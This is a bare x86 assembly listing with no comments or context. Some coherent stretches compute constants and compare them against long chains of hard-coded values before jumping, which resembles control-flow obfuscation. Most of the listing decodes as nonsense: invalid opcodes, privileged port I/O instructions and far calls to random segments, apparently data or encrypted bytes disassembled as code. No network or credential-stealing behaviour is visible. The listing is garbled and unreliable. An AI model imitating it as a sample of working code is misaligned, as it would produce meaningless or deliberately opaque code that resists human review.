shr dword [ecx + 0x1fc56a35], 1
mov ebp, 0x438f5083
mov eax, 0xd9e5fc98
sub al, 0x9c
sbb eax, 0x3805eaf9
mov ecx, 0xbbcaa8cb
iretd
mov ch, 0x76
hlt
idiv byte [ebx - 0x69981d74]
pushfd
or byte [eax + 0x348af7fe], al
loop 0x67d64830
mov ebx, 0xe9f46b94
cli
adc dword [ebx - 0x2e], esp
salc
mov word [eax - 0x4596d40], es
invalid
je 0x67d647b5
cwde
rcl byte [edi - 0x60], 0x83
and al, 0x35
lcall 0x356d, 0x8824d25d
inc esi
and ah, byte [ebx - 0xe]
iretd
aas
xor byte [ecx + eax*2], bl
pushfd
fsub st(3)
popal
and dword [edx*2 + 0x2c41631b], ebx
fst qword [ecx + ecx*8]
push ebx
imul esp, ecx, 0x33
adc byte [eax + 0x69923c37], cl
into
test al, 0x82
ret
nop
jmp 0x67d64de9
nop
mov edx, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x10]
add eax, edx
mov dword [ebp - 0x154], eax
mov dword [ebp - 0xc], 0
jmp 0x67d8558a
mov dword [ebp - 0x160], 0xbc98
mov dword [ebp - 0x15c], 0
mov dword [ebp - 0x168], 0xa7b08
mov dword [ebp - 0x164], 0
mov ecx, dword [ebp - 0x160]
mov ebx, dword [ebp - 0x15c]
mov eax, dword [ebp - 0x168]
mov edx, dword [ebp - 0x164]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x170], eax
mov dword [ebp - 0x16c], edx
mov eax, dword [ebp - 0x170]
xor eax, 0xb37a0
or eax, dword [ebp - 0x16c]
je 0x67d66088
mov edx, 0xb37a0
mov eax, 0
cmp edx, dword [ebp - 0x170]
sbb eax, dword [ebp - 0x16c]
jl 0x67d6608b
mov eax, dword [ebp - 0x170]
xor eax, 0xb10fd
or eax, dword [ebp - 0x16c]
je 0x67d65aaa
mov edx, 0xb10fd
mov eax, 0
cmp edx, dword [ebp - 0x170]
sbb eax, dword [ebp - 0x16c]
jl 0x67d6608b
mov eax, dword [ebp - 0x170]
xor eax, 0x7eb1a
or eax, dword [ebp - 0x16c]
je 0x67d64ee8
push dword [esp + ebx - 0x75]
test dword [eax + 0x35fffffe], edx
imul ecx, ecx, 8
add byte [ebx], cl
test dword [esi + edi*8 - 0x7bf00001], edx
out 5, al
add byte [eax], al
mov eax, dword [ebp - 0x170]
xor eax, 0x8c96b
or eax, dword [ebp - 0x16c]
je 0x67d654c9
jmp 0x67d6608b
std
into
pop esi
inc edx
jge 0x67d64f03
psrlw mm0, qword [eax - 0x7e]
in eax, dx
inc ebp
mov dh, 0xde
dec ecx
sbb al, 0x1a
mov dword [0x8236240f], eax
mov ebp, 0x171dcb80
jmp 0x67d64ec9
sbb eax, 0x8c2eb17
pop ds
invalid
pop esi
out dx, al
push ebx
sahf
jge 0x67d654f7
hlt
xchg esp, eax
cmp al, byte [0x16464910]
adc esi, esi
push ebp
lodsd eax, dword [si]
pop ebx
mov byte [0xc6563b85], al
shl ah, 0xc8
and al, 0x77
add dword [ebp - 0x70], esp
fnstsw word [edi]
test al, 0xed
push ss
retf
wait
ljmp 0x1de8
nop
jmp 0x67d6608c
nop
add dword [ebp - 0x10], 2
mov eax, dword [ebp - 0xc]
lea edx, [eax + eax]
mov eax, dword [ebp - 0x154]
add eax, edx
movzx eax, byte [eax + 1]
and eax, 0xfffffff0
test al, al
jne 0x67d6e6b1
mov dword [ebp - 0x1f8], 0x7bfec
mov dword [ebp - 0x1f4], 0
mov dword [ebp - 0x200], 0x7147b
mov dword [ebp - 0x1fc], 0
mov eax, dword [ebp - 0x1f8]
mov edx, dword [ebp - 0x1f4]
sub eax, dword [ebp - 0x200]
sbb edx, dword [ebp - 0x1fc]
mov dword [ebp - 0x208], eax
mov dword [ebp - 0x204], edx
mov eax, dword [ebp - 0x208]
xor eax, 0xf0dd1
or eax, dword [ebp - 0x204]
je 0x67d6655b
mov edx, 0xf0dd1
mov eax, 0
cmp edx, dword [ebp - 0x208]
sbb eax, dword [ebp - 0x204]
jl 0x67d85582
mov eax, dword [ebp - 0x208]
xor eax, 0xe3ec8
or eax, dword [ebp - 0x204]
je 0x67d6abe7
mov edx, 0xe3ec8
mov eax, 0
cmp edx, dword [ebp - 0x208]
sbb eax, dword [ebp - 0x204]
jl 0x67d85582
mov eax, dword [ebp - 0x208]
xor eax, 0xb5ed3
or eax, dword [ebp - 0x204]
je 0x67d6b1c8
mov edx, 0xb5ed3
mov eax, 0
cmp edx, dword [ebp - 0x208]
sbb eax, dword [ebp - 0x204]
jl 0x67d85582
mov eax, dword [ebp - 0x208]
xor eax, 0xb0946
or eax, dword [ebp - 0x204]
je 0x67d69a44
mov edx, 0xb0946
mov eax, 0
cmp edx, dword [ebp - 0x208]
sbb eax, dword [ebp - 0x204]
jl 0x67d85582
mov eax, dword [ebp - 0x208]
xor eax, 0x9fd6e
or eax, dword [ebp - 0x204]
je 0x67d69463
mov edx, 0x9fd6e
mov eax, 0
cmp edx, dword [ebp - 0x208]
sbb eax, dword [ebp - 0x204]
jl 0x67d85582
mov eax, dword [ebp - 0x208]
xor eax, 0x8c074
or eax, dword [ebp - 0x204]
je 0x67d6711d
mov edx, 0x8c074
mov eax, 0
cmp edx, dword [ebp - 0x208]
sbb eax, dword [ebp - 0x204]
jl 0x67d85582
mov eax, dword [ebp - 0x208]
xor eax, 0x87793
or eax, dword [ebp - 0x204]
je 0x67d6bd8a
mov edx, 0x87793
mov eax, 0
cmp edx, dword [ebp - 0x208]
sbb eax, dword [ebp - 0x204]
jl 0x67d85582
mov eax, dword [ebp - 0x208]
xor eax, 0x76148
or eax, dword [ebp - 0x204]
je 0x67d66b3c
mov edx, 0x76148
mov eax, 0
cmp edx, dword [ebp - 0x208]
sbb eax, dword [ebp - 0x204]
jl 0x67d85582
mov eax, dword [ebp - 0x208]
xor eax, 0x66f27
or eax, dword [ebp - 0x204]
je 0x67d682c0
mov edx, 0x66f27
mov eax, 0
cmp edx, dword [ebp - 0x208]
sbb eax, dword [ebp - 0x204]
jl 0x67d85582
mov eax, dword [ebp - 0x208]
xor eax, 0x551f1
or eax, dword [ebp - 0x204]
je 0x67d6cf2d
mov edx, 0x551f1
mov eax, 0
cmp edx, dword [ebp - 0x208]
sbb eax, dword [ebp - 0x204]
jl 0x67d85582
mov eax, dword [ebp - 0x208]
xor eax, 0x545c0
or eax, dword [ebp - 0x204]
je 0x67d676fe
mov edx, 0x545c0
mov eax, 0
cmp edx, dword [ebp - 0x208]
sbb eax, dword [ebp - 0x204]
jl 0x67d85582
mov eax, dword [ebp - 0x208]
xor eax, 0x536b3
or eax, dword [ebp - 0x204]
je 0x67d67cdf
mov edx, 0x536b3
mov eax, 0
cmp edx, dword [ebp - 0x208]
sbb eax, dword [ebp - 0x204]
jl 0x67d85582
mov eax, dword [ebp - 0x208]
xor eax, 0x513c3
or eax, dword [ebp - 0x204]
je 0x67d6a606
mov edx, 0x513c3
mov eax, 0
cmp edx, dword [ebp - 0x208]
sbb eax, dword [ebp - 0x204]
jl 0x67d85582
mov eax, dword [ebp - 0x208]
xor eax, 0x4f586
or eax, dword [ebp - 0x204]
je 0x67d68e82
mov edx, 0x4f586
mov eax, 0
cmp edx, dword [ebp - 0x208]
sbb eax, dword [ebp - 0x204]
jl 0x67d85582
mov eax, dword [ebp - 0x208]
xor eax, 0x4b70c
or eax, dword [ebp - 0x204]
je 0x67d6d50e
mov edx, 0x4b70c
mov eax, 0
cmp edx, dword [ebp - 0x208]
sbb eax, dword [ebp - 0x204]
jl 0x67d85582
mov eax, dword [ebp - 0x208]
xor eax, 0x3ec7b
or eax, dword [ebp - 0x204]
je 0x67d6e0d0
mov edx, 0x3ec7b
mov eax, 0
cmp edx, dword [ebp - 0x208]
sbb eax, dword [ebp - 0x204]
jl 0x67d85582
mov eax, dword [ebp - 0x208]
xor eax, 0x2e2db
or eax, dword [ebp - 0x204]
je 0x67d6b7a9
mov edx, 0x2e2db
mov eax, 0
cmp edx, dword [ebp - 0x208]
sbb eax, dword [ebp - 0x204]
jl 0x67d85582
mov eax, dword [ebp - 0x208]
xor eax, 0x2d39e
or eax, dword [ebp - 0x204]
je 0x67d688a1
mov edx, 0x2d39e
mov eax, 0
cmp edx, dword [ebp - 0x208]
sbb eax, dword [ebp - 0x204]
jl 0x67d85582
mov eax, dword [ebp - 0x208]
xor eax, 0x27687
or eax, dword [ebp - 0x204]
je 0x67d6a025
mov edx, 0x27687
mov eax, 0
cmp edx, dword [ebp - 0x208]
sbb eax, dword [ebp - 0x204]
jl 0x67d85582
mov eax, dword [ebp - 0x208]
xor eax, 0x20996
or eax, dword [ebp - 0x204]
je 0x67d6c94c
mov edx, 0x20996
mov eax, 0
cmp edx, dword [ebp - 0x208]
sbb eax, dword [ebp - 0x204]
jl 0x67d85582
mov eax, dword [ebp - 0x208]
xor eax, 0x12dad
or eax, dword [ebp - 0x204]
je 0x67d6c36b
mov edx, 0x12dad
mov eax, 0
cmp edx, dword [ebp - 0x208]
sbb eax, dword [ebp - 0x204]
jl 0x67d85582
mov eax, dword [ebp - 0x208]
xor eax, 0xab71
or eax, dword [ebp - 0x204]
je 0x67d85585
mov eax, dword [ebp - 0x208]
xor eax, 0xd383
or eax, dword [ebp - 0x204]
je 0x67d6daef
jmp 0x67d85582
je 0x67d66528
imul eax, dword [edx], 0x4c71e418
push edx
pop ecx
sahf
xchg ebx, eax
lodsb al, byte [esi]
cmp esp, 0x447305fe
jo 0x67d66579
add ecx, esi
cmp bl, dh
push 0xc44c017f
dec edi
sub byte [edx - 0x25], dl
dec edi
mov ch, 0xa4
lea esp, [0x22ce]
out 0x40, eax
or al, 0xd0
cmp edx, edx
cmp ch, bl
dec ecx
outsb dx, byte [esi]
inc ebp
and bh, byte [eax + ecx*4]
sbb ch, byte [ecx]
invalid
add al, 0x90
int3
in al, dx
cmp dl, byte [esi + 0x52c35af5]
sar dword [edx], 0x9e
add ch, byte [ebp - 0x52]
loopne 0x67d66ad0
xchg edx, eax
xchg ebx, eax
pop esp
scasb al, byte es:[edi]
mov byte [0x6191d747], al
lcall 0xcce6, 0x952af13d
inc ebp
invalid
mov gs, word [eax - 0x5ca0f2ca]
je 0x67d66b69
pop ds
jns 0x67d66ada
push es
xchg dword [ebp - 0x46], ebp
xlatb
cmpsb byte [esi], byte es:[edi]
sub bh, byte [ebx]
fucom st(6)
stosd dword es:[edi], eax
out dx, eax
add edi, eax
xlatb
push 0x63
and al, 0x45
mov edi, 0x69a1b7bb
sal ah, 1
invalid
mov dword [0x66d43357], eax
sahf
xor eax, dword [edx + 0x17]
dec edi
invalid
mov eax, dword [0x6ab42c3b]
push edi
nop
int3
rcl dword [eax], cl
imul ecx, dword [edi + ecx*4 - 0x6f], 0x6c9c9cf3
inc eax
mov dh, 0x43
stosd dword es:[edi], eax
out 0x51, al
add eax, 0xc7871d1c
xor bh, dh
xor cl, byte [ecx]
pop ss
inc eax
xor byte [ecx + 0x1f688477], bl
push es
call 0xa331c78
pop edx
push es
jg 0x67d671c5
in al, 0x22
fbstp tbyte [edx + ecx*2]
sahf
jnp 0x67d67180
inc esp
lodsb al, byte [esi]
mov bl, byte [edx]
cmpsd dword [esi], dword es:[edi]
movsb byte es:[edi], byte [esi]
jae 0x67d67110
std
int 0x2e
invalid
int3
lodsb al, byte [esi]
adc al, 0x46
mov dword [0x22b502e9], eax
sub eax, 0xc69f80f0
inc byte [edx - 0x2cb217fc]
and al, 0xd2
cmp eax, 0x731c2dfd
push es
call 0x9480b3a9
sbb al, 0x8c
inc esi
dec edi
xchg ebx, eax
fsubp st(2)
push ss
daa
cmpsd dword [esi], dword es:[edi]
sub edi, 0xb541afc0
jecxz 0x67d671aa
dec edx
cwde
sbb eax, 0x1cb9e673
nop
int3
fisubr dword [esi]
add bh, byte [0x140e92f9]
mov ebx, 0xa1b0399e
pop edi
movzx esp, word [ecx]
cmp byte [edi - 2], bh
sbb byte [edi + 0x35], cl
jbe 0x67d6774b
js 0x67d67715
stosb byte es:[edi], al
cmc
fistp dword cs:[esp + ebx*8 - 0x1d]
xor cl, dh
lahf
add eax, 0xf79732de
jge 0x67d676fe
or eax, 0xa9859660
into
push esi
mov dl, 0xc9
push edi
dec ebx
jns 0x67d67712
shr byte [esi + 0x25], 0x27
pop dword [ecx + 0x36]
xchg byte [edx - 0x36], al
push ebx
aad 0xd7
arpl word [edi + 0x6c5ce6a8], cx
or al, 0x5f
pop edi
das
invalid
adc byte [0x1c12179c], dl
and edx, ebx
outsd dx, dword [esi]
fucom st(3)
and edx, 0x54
push edx
dec eax
push esp
cmp eax, 0x391af95a
cdq
invalid
outsb dx, byte [esi]
mov dword [ecx + ebp], 0xc229a902
outsb dx, byte [esi]
push edi
cwde
in eax, 0x8f
int 0xa7
popfd
bound ecx, qword [ebx]
mov edi, 0xb9b67cbf
cmp eax, 0x99a59fee
stosd dword es:[edi], eax
add al, 0xe1
add byte [edx], ah
pop es
sbb byte [eax + ebx - 0x71], 0x27
jp 0x67d6835b
cmp eax, 0x65c05098
mov cl, 0x21
xor eax, 0xfc41bd76
test al, 0xc5
outsd dx, dword [esi]
les esp, [eax - 0x58]
push ebx
test al, 0x59
xchg esp, eax
pop ebx
cld
invalid
iretd
inc ecx
add byte [edx + ecx*4 + 0x30], 0x80
int3
mul bh
stc
cwde
push 0x48
ret 0x491a
pop edx
push ebp
mov ah, 0xc6
in al, dx
mov esi, 0x7143f73
stosb byte es:[edi], al
sub eax, 0x8c55b3bb
xor byte [ebx + 1], ah
push edi
adc byte [eax - 0x3ecf01dd], 0x79
add byte [ecx], al
les ebx, [edx]
out 0, al
add al, 0xb9
popfd
cmpsb byte [esi], byte es:[edi]
mov ah, byte [edx]
nop
xchg byte [ecx - 0x6c], ah
sbb byte [ebp - 0x2906b11f], dl
sub eax, 0x5f64800c
pop esi
xchg ebx, eax
wait
inc ebx
jno 0x67d68e0c
int3
cwde
in al, 0x4a
out 0xee, al
shl ch, 0x12
ja 0x67d68e40
std
mov ecx, 0xf34d9379
ja 0x67d68f09
nop
out dx, eax
xor al, byte [edi]
bound edi, qword [0x6c8b04c0]
out dx, al
and ch, byte [edi + edi + 0x2a]
ficomp dword [esi + 0xfad7401]
xchg ebx, eax
rcr dword [esi + 0x47c19949], 1
push ss
fidivr word [edx + 0x8044d3d]
shl dword [edi], 1
and ebp, ecx
adc dword [edi - 0x60f2f99c], edi
daa
push eax
or ah, byte [eax + 0x3e0d3ff7]
dec eax
adc dword [eax + ecx*2 - 0x4f], edx
push esp
mov esi, 0xf9930c83
invalid
test eax, esi
dec eax
fistp dword [0xce123efe]
mov al, byte [0xd82ba65f]
ror byte [ebx - 0x13], 1
xor byte [edx + edx*4 + 0x73], bh
mov esi, 0x4d5c6c50
ljmp 0x5041
jp 0x67d694dc
and edi, esi
invalid
fcmovne st(0), st(5)
ret 0xe618
xadd byte [edx], bh
cmpsd dword [esi], dword es:[edi]
salc
dec edx
shl byte [ebp + 0x2f015f40], cl
sub ch, byte [esi + 0x5fc929f2]
ror byte [edi - 0x336f9bd6], 0xe9
inc edx
mov ebx, 0xe9080001
or cl, ch
push esi
leave
aad 0xe2
mov byte [0x8529f444], al
mov bl, 7
xchg edi, esp
cld
fsubr dword [ecx]
mov eax, 0x1cf278d0
scasb al, byte es:[edi]
lahf
push 0x7b72d989
mov al, 7
enter 0x5cb8, 0x4c
jle 0x67d69a27
invalid
dec ebp
sbb edi, ebp
sbb bl, bl
jp 0x67d69f96
aad 0x7d
das
into
les esp, [esi]
pop ds
jb 0x67d69fb4
push 0x98dcd24c
sbb dword [di + 0x7f], eax
and dword [esi + 0x1f], ebx
xlatb
ficomp dword [ecx - 0x4c1bbcaf]
outsb dx, byte [esi]
aam 0x82
xor si, word [edi]
push edi
xor dword [edx + 0x7f], eax
pop es
adc ah, ch
nop
int3
xor al, 0x86
mov dh, 0x72
scasb al, byte es:[edi]
sub dl, al
scasd eax, dword es:[edi]
inc esi
push 0xe0a25317
add ebp, dword [ebp - 0x29987cb]
inc eax
stosb byte es:[edi], al
jo 0x67d6a002
ret 0x2eaf
invalid
loope 0x67d69f88
in al, 0xdf
sub dword [eax - 0x18], 0x3dfee1aa
dec esp
and byte [edx + 0x1db75acf], al
daa
sub dword [edi + 0x36], edi
fnstcw word [esi - 0x6fa50104]
int3
sub bl, cl
leave
stosb byte es:[edi], al
js 0x67d69fe6
push ebp
movsb byte es:[edi], byte [esi]
arpl sp, dx
jae 0x67d6a034
insb byte es:[edi], dx
out dx, al
pop ebx
arpl word [ecx - 0x25c2107], si
and dword [ebx - 0xb7ce068], ecx
sti
xchg esp, eax
rcl dword [edi + 0x23156e3b], cl
jo 0x67d69fe0
in al, dx
mov edx, 0xf33b0ff0
xchg byte [edi - 0x4f6d59ae], dh
mov ecx, 0xe9725917
fadd dword [esi - 7]
push 0x20
mov dword [ebx + 0x5a90c0ee], esi
xchg edi, eax
inc ebp
xor dword [esi - 0x5f8a3b50], esi
hlt
cmp edi, esp
dec ebp
inc eax
cli
xlatb
sub dl, al
retf 0x7421
lahf
test eax, 0x5ab30001
mov bl, 0x5a
jo 0x67d6ac2c
dec esi
sahf
out 0x85, eax
push edi
jns 0x67d6abe3
push 0x70
or dh, byte [ebx + ebx*2 + 0x65]
iretd
cmc
test eax, 0x9e54d2f3
or bh, byte [esi]
inc edx
lodsw ax, word [esi]
lodsd eax, dword [esi]
lodsb al, byte [esi]
rol dword [eax - 0x55e67122], 1
sahf
loop 0x67d6ac44
add byte [ebx], dh
sub al, 0xad
jnp 0x67d6ac99
insd dword es:[edi], dx
nop
int3
and dword [edx - 0x23948867], 0x3b0e81c7
lcall 0xb490, 0xc0813b6e
int3
imul ebp, dword [ebp + 0x28], 0x741d8cb0
out dx, eax
jge 0x67d6ac58
mov bh, 0xdd
loop 0x67d6acad
insb byte es:[edi], dx
jecxz 0x67d6ad0e
jle 0x67d6acae
dec ebp
nop
int3
inc esp
add dword [edi], eax
nop
int3
sub dword [eax + 0x73cd6334], 0xffffffab
lds esi, [eax - 5]
int3
add dh, cl
pop ecx
or dword [esi + 0x20], eax
adc al, 0xdf
clc
inc esi
xchg edx, eax
jne 0x67d6b7d1
invalid
lcall 0x662c, 0x36a071b9
lahf
jb 0x67d6b7b4
dec ebp
call 0x114a0ab
loope 0x67d6b856
or eax, eax
adc dword [eax - 0x449ecd02], ebp
das
ljmp 0x1fea
mov bh, 0xed
outsb dx, byte [esi]
sub dl, byte [edi]
mov eax, dword [0x505e20a6]
iretd
xchg byte [ecx + 0x44], dh
insb byte es:[edi], dx
in al, dx
aaa
adc dh, byte [0xc81c481a]
in al, 0x40
inc eax
int 0xbe
inc esp
push cs
pop eax
jg 0x67d6bd97
lodsd eax, dword [esi]
mov edi, 0x3c2b6dc9
push 0x36dc6a71
pushfd
add dword [ebx], 0x9cd9762a
mov byte [0xd77f3429], al
mov ch, 0x9e
sub eax, 0x49e4a35d
push ecx
pushfd
jmp 0x17137b83
adc al, 0x42
mov ebp, 0x2cd33bd6
mov al, 0x1e
insb byte es:[edi], dx
sahf
std
cmp dh, byte [0x6990e208]
lahf
test byte [eax], dh
dec ecx
stosb byte es:[edi], al
movsb byte es:[edi], byte [esi]
in eax, dx
add dl, bl
or eax, 0x90a4cda1
int3
wait
fisubr word [edi - 0x73953448]
aaa
push esi
add bl, al
jl 0x67d6c397
insb byte es:[edi], dx
xor dword [edi + 0x6908fa96], eax
sbb ah, byte [eax + 0x34]
xchg ecx, eax
movsb byte es:[edi], byte [esi]
xor byte [ecx + 0x12], bh
adc al, 0xdf
push ds
invalid
sbb al, 0x5d
jo 0x67d6c344
add edi, edx
fadd qword [ebp - 0x749d51e0]
test dword [ebx], 0xcadd54f6
std
lahf
das
lahf
inc ebx
cmc
daa
inc edx
adc dh, cl
loopne 0x67d6c399
mov bh, byte [ebx]
cmp bh, al
and dword [ecx], 0x21dd352d
sub al, 0xa8
retf 0xce32
hlt
sub esp, ebx
inc eax
jo 0x67d6cf9c
push cs
test dword [esp + esi*4 + 0x6e95a35d], ebx
aad 0x79
dec ebx
stc
sub dh, dh
pop ds
pushal
and al, byte [esi + 0x4b]
out dx, al
pushfd
cli
adc eax, 0xed1f4b9e
les edi, [ebx]
inc esi
pop ss
cmp byte [eax + ecx], dh
sbb al, 0x39
mov esp, 0x83f40062
cmc
add ah, dh
xor edx, 0xfffffff5
out 0xfe, eax
fisubr word [ebx + 0xe]
mov dh, 0x67
cmp edx, dword [ecx + 0x4e9ed382]
jb 0x67d6cf5a
jmp 0x501ea6d5
xlatb
inc edi
call 0xe23889c7
mov ah, bh
xchg edi, eax
sbb bh, byte [esp + eax + 0x77911011]
dec esi
and dword [edi + 0x34967c75], ebx
xchg dword [edx + 0x3b426f03], ecx
mov dl, byte [eax + 0xa2ebacc]
mov byte [0xbe99272a], al
adc byte [eax + 0x5a], bh
mov edx, 0x93495d23
aaa
nop
adc byte [esi], 0xc4
outsd dx, dword [esi]
adc eax, dword [ecx + 0x55]
int 0x16
or al, 0x72
cmp esi, dword [edx + 0xcd7d985]
loopne 0x67d6cf41
jno 0x67d6cf70
sub byte [ebx + 0x7d], dl
dec esi
wait
out 0xa7, al
xchg edx, eax
daa
iretd
cmp ch, al
pushal
pop esi
mov esi, 0x75df6d8f
pop edi
bound ebp, qword [ecx]
ljmp 0x9c6e
xor edi, edx
adc eax, 0x11041a1
aas
popfd
and bh, byte [ecx]
test byte [ecx + 0x2c5ad7cf], 0x8f
lodsd eax, dword [esi]
in al, dx
cmp eax, 0xe10062a2
push 0x7c07522b
mov bh, 0xf1
sbb eax, 0x6ce7a79e
cmovne esi, ebp
mov esi, 0x579f7941
pop ebp
push ebx
sub al, 0xc
scasb al, byte es:[edi]
ret 0xec06
cmp ah, byte [ebp - 0x62d250f1]
mov eax, dword [0xcb659a79]
fstp dword [eax + 0x5a132c9b]
and al, 0xf2
pushal
div dword [edi + ebp*2 + 0x30]
rdtsc
std
popal
push ss
daa
sbb eax, 0x978972ea
int 0xa9
sbb dword [esi + 0x15], ebp
add eax, dword [ecx]
and al, 0x92
mov dh, 0xcf
out 0x33, al
stc
xor edi, ecx
mov al, 0x44
mov dh, 0x93
ja 0x67d6e100
and bl, byte [ebp - 0x1b]
invalid
mov dword [ebp - 0x178], 0xb7993
mov dword [ebp - 0x174], 0
mov dword [ebp - 0x180], 0x53275
mov dword [ebp - 0x17c], 0
mov eax, dword [ebp - 0x178]
mov edx, dword [ebp - 0x174]
sub eax, dword [ebp - 0x180]
sbb edx, dword [ebp - 0x17c]
mov dword [ebp - 0x188], eax
mov dword [ebp - 0x184], edx
mov eax, dword [ebp - 0x188]
xor eax, 0xf1821
or eax, dword [ebp - 0x184]
je 0x67d73053
mov edx, 0xf1821
mov eax, 0
cmp edx, dword [ebp - 0x188]
sbb eax, dword [ebp - 0x184]
jl 0x67d73c12
mov eax, dword [ebp - 0x188]
xor eax, 0xc933c
or eax, dword [ebp - 0x184]
je 0x67d6e9c7
mov edx, 0xc933c
mov eax, 0
cmp edx, dword [ebp - 0x188]
sbb eax, dword [ebp - 0x184]
jl 0x67d73c12
mov eax, dword [ebp - 0x188]
xor eax, 0xb7bd7
or eax, dword [ebp - 0x184]
je 0x67d73634
mov edx, 0xb7bd7
mov eax, 0
cmp edx, dword [ebp - 0x188]
sbb eax, dword [ebp - 0x184]
jl 0x67d73c12
mov eax, dword [ebp - 0x188]
xor eax, 0xb6481
or eax, dword [ebp - 0x184]
je 0x67d6efa8
mov edx, 0xb6481
mov eax, 0
cmp edx, dword [ebp - 0x188]
sbb eax, dword [ebp - 0x184]
jl 0x67d73c12
mov eax, dword [ebp - 0x188]
xor eax, 0xad2e9
or eax, dword [ebp - 0x184]
je 0x67d71eb0
mov edx, 0xad2e9
mov eax, 0
cmp edx, dword [ebp - 0x188]
sbb eax, dword [ebp - 0x184]
jl 0x67d73c12
mov eax, dword [ebp - 0x188]
xor eax, 0x91e09
or eax, dword [ebp - 0x184]
je 0x67d718cf
mov edx, 0x91e09
mov eax, 0
cmp edx, dword [ebp - 0x188]
sbb eax, dword [ebp - 0x184]
jl 0x67d73c12
mov eax, dword [ebp - 0x188]
xor eax, 0x8e1f7
or eax, dword [ebp - 0x184]
je 0x67d712ee
mov edx, 0x8e1f7
mov eax, 0
cmp edx, dword [ebp - 0x188]
sbb eax, dword [ebp - 0x184]
jl 0x67d73c12
mov eax, dword [ebp - 0x188]
xor eax, 0x89fd9
or eax, dword [ebp - 0x184]
je 0x67d7014b
mov edx, 0x89fd9
mov eax, 0
cmp edx, dword [ebp - 0x188]
sbb eax, dword [ebp - 0x184]
jl 0x67d73c12
mov eax, dword [ebp - 0x188]
xor eax, 0x6471e
or eax, dword [ebp - 0x184]
je 0x67d73c15
mov edx, 0x6471e
mov eax, 0
cmp edx, dword [ebp - 0x188]
sbb eax, dword [ebp - 0x184]
jl 0x67d73c12
mov eax, dword [ebp - 0x188]
xor eax, 0x5e30a
or eax, dword [ebp - 0x184]
je 0x67d6fb6a
mov edx, 0x5e30a
mov eax, 0
cmp edx, dword [ebp - 0x188]
sbb eax, dword [ebp - 0x184]
jl 0x67d73c12
mov eax, dword [ebp - 0x188]
xor eax, 0x4a1fb
or eax, dword [ebp - 0x184]
je 0x67d72a72
mov edx, 0x4a1fb
mov eax, 0
cmp edx, dword [ebp - 0x188]
sbb eax, dword [ebp - 0x184]
jl 0x67d73c12
mov eax, dword [ebp - 0x188]
xor eax, 0x3aa2e
or eax, dword [ebp - 0x184]
je 0x67d6f589
mov edx, 0x3aa2e
mov eax, 0
cmp edx, dword [ebp - 0x188]
sbb eax, dword [ebp - 0x184]
jl 0x67d73c12
mov eax, dword [ebp - 0x188]
xor eax, 0x383bd
or eax, dword [ebp - 0x184]
je 0x67d72491
mov edx, 0x383bd
mov eax, 0
cmp edx, dword [ebp - 0x188]
sbb eax, dword [ebp - 0x184]
jl 0x67d73c12
mov eax, dword [ebp - 0x188]
xor eax, 0x13d3b
or eax, dword [ebp - 0x184]
je 0x67d7072c
mov eax, dword [ebp - 0x188]
xor eax, 0x142e9
or eax, dword [ebp - 0x184]
je 0x67d70d0d
jmp 0x67d73c12
sub ecx, dword [edi + 0x54b4d849]
mov byte [0x59d8e734], al
push cs
inc eax
sbb edi, dword [ecx]
pop edx
ret
out 0xf2, eax
cmpsb byte [esi], byte es:[edi]
push edi
imul esi, dword [eax + 0x23], 0xffffffe5
int3
jns 0x67d6f567
jnp 0x67d6f53b
leave
inc ebp
stosb byte es:[edi], al
int 0x8c
clc
push ebp
fmul dword [eax + ebx*8 - 0x26]
lcall 0xcaf, 0x59a9e1e8
mov al, byte [0x6a60b80b]
das
bound esi, qword [edx + 0x33b7919f]
dec esi
xchg ebp, eax
push 0x1a91aac0
push ebp
shr byte [edx - 0x72aae56f], 0x8e
mov al, 0x7b
jbe 0x67d6f538
lea ecx, [esi - 0x2a898450]
loope 0x67d6f532
invalid
or bl, byte [edx]
add ah, byte [ecx]
lodsd eax, dword [esi]
jb 0x67d6f55d
mov bh, 0xaf
inc esp
mov ebp, 0xfe569e66
aaa
cmp byte [ebx + 0x65db6891], bh
nop
jae 0x67d6f5f7
mov eax, dword [0xe9cc902c]
lea eax, [esi]
add byte [ebp - 0x33], bh
jge 0x67d6f558
invalid
jle 0x67d6f66d
cmp dword [esi], 0x46
test dword [0xb3aa909c], edx
lds eax, [edi + 0x3d]
push 0xffffffffffffffae
adc dword [esi + 0x21], ebx
movsb byte es:[edi], byte [esi]
invalid
or bl, 0xf3
push ds
invalid
invalid
dec edi
test byte [0xed2fbde4], 0x9b
retf
mov edx, dword [ebp + edi*2 - 0x2b]
out 0xa3, al
dec edi
xor ebp, esi
push 0x52
push esp
add dword [ecx + 0x1186651d], eax
and eax, 0x34aedff9
or edi, dword [edi]
in al, dx
jb 0x67d7073d
lcall 0x7ae5, 0xbb38cc90
lds esp, [ebx + 0x3c]
in al, 0xa5
ret
js 0x67d7072b
jge 0x67d706a4
jge 0x67d706a4
jae 0x67d7076b
leave
lcall 0xeae9, 0xcc9086f0
xor al, 0
add byte [eax], ah
aas
and byte [edi], bh
jge 0xbfa44521
add edx, dword [ecx - 4]
jecxz 0x67d7071a
sub byte [esi], 0x72
xchg esp, eax
retf 0x50f9
xchg ecx, eax
lea ebx, [bx + 0x3e]
and byte [edx], ah
int 0x24
in al, 0x9c
mov edi, 0x11381e7
cmp al, 0x76
dec ebp
adc ecx, eax
jo 0x67d7071d
fstp qword [edx]
push edx
shl dword [ebp + ecx*8 + 0xe], 0xc4
std
or al, 0x90
int3
mov al, byte [0x9c9176f0]
invalid
xor edi, ebx
ja 0x67d70c78
in eax, 0x64
mov dword [0x90dbcb6f], eax
int3
jne 0x67d70c98
push ss
jle 0x67d70d0a
or cl, dh
ljmp 0xc36e
mov eax, 0xda1036b7
pushal
fisubr word [ecx + esi*8 + 0x3da0a1b3]
jae 0x67d70ce0
xor byte [ecx], ch
dec esi
pop eax
mov esi, 0xd5ef300d
mov dl, 0x27
inc esp
aam 0xfe
pop edi
pop esi
movsb byte es:[edi], byte [esi]
sbb al, byte es:[eax + 0x2bcde487]
cmpsd dword [esi], dword es:[edi]
pop esp
add eax, esp
aad 0xb7
cld
pushfd
mov bh, 0x41
inc byte [edi]
bound ebx, qword [0x5b0971a6]
push edx
jnp 0x67d70d6a
invalid
mov edi, 0x90170465
int3
das
add byte [eax], al
xor dword [edx], edx
mov gs, word [ebx + 0x2f]
jl 0x67d70d1f
movsb byte es:[edi], byte [esi]
mov ch, 0xe8
in al, 0x54
cld
pop ebp
and dh, byte [esi - 0x60]
push esp
push esp
and bl, byte [edx]
xchg ecx, eax
jl 0x67d70cc4
cmp byte [ebx + 0x32], dl
aaa
